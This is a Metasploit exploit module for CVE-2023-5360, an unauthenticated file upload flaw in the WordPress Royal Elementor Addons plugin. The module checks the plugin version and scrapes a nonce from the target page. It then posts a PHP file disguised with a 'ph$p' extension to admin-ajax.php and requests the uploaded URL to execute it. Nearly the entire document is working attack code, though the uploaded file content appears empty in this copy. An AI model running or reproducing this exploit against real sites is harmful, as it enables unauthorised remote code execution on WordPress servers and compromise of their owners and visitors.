## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Royal Elementor Addons RCE', 'Description' => %q{ Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79). }, 'Author' => [ 'Fioravante Souza', # Vulnerability discovery 'Valentin Lobstein' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-5360'], ['URL', 'https://vulners.com/nuclei/NUCLEI:CVE-2023-5360'], ['WPVDB', '281518ff-7816-4007-b712-63aed7828b34'] ], 'Platform' => ['unix', 'linux', 'win', 'php'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [['Automatic', {}]], 'DisclosureDate' => '2023-11-23', 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Privileged' => false, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check return CheckCode::Unknown unless wordpress_and_online? wp_version = wordpress_version print_status("WordPress Version: #{wp_version}") if wp_version check_code = check_plugin_version_from_readme('royal-elementor-addons', '1.3.79') if check_code.code != 'appears' return CheckCode::Safe end plugin_version = check_code.details[:version] print_good("Detected Royal Elementor Addons version: #{plugin_version}") return CheckCode::Appears end def exploit print_status('Attempting to retrieve nonce...') nonce = retrieve_nonce print_status('Sending payload') uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') data = { 'action' => 'wpr_addons_upload_file', 'max_file_size' => rand(10001), 'allowed_file_types' => 'ph$p', 'triggering_event' => 'click', 'wpr_addons_nonce' => nonce } file_content = '' file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.ph$p" post_data = Rex::MIME::Message.new post_data.add_part(file_content, 'application/octet-stream', nil, "form-data; name=\"uploaded_file\"; filename=\"#{file_name}\"") data.each_pair do |key, value| post_data.add_part(value.to_s, nil, nil, "form-data; name=\"#{key}\"") end res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) unless res fail_with(Failure::Unreachable, 'No response received from the target') end if res.code == 200 && res.body.include?('success') print_good('Payload uploaded successfully') response_data = JSON.parse(res.body) if response_data.key?('data') && response_data['data'].key?('url') file_url = response_data['data']['url'] print_status('Triggering the payload') send_request_cgi({ 'uri' => file_url, 'method' => 'GET' }) else fail_with(Failure::UnexpectedReply, 'Payload uploaded but no URL returned in the response') end else fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') end end def retrieve_nonce res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET') fail_with(Failure::Unreachable, 'No response received from the target') if res.nil? fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code from the target: #{res.code}") if res.code != 200 match = res.body.match(/var\s+WprConfig\s*=\s*({.+?});/) fail_with(Failure::NoTarget, 'Nonce not found in the response. Is Royal Elementor Addons activated AND being used by the WordPress site being targeted?') if match.nil? || match[1].nil? nonce = JSON.parse(match[1])['nonce'] fail_with(Failure::NoTarget, 'Parsed a response, but the nonce value is missing') if nonce.nil? print_good("Nonce found in response: #{nonce.inspect}") nonce end end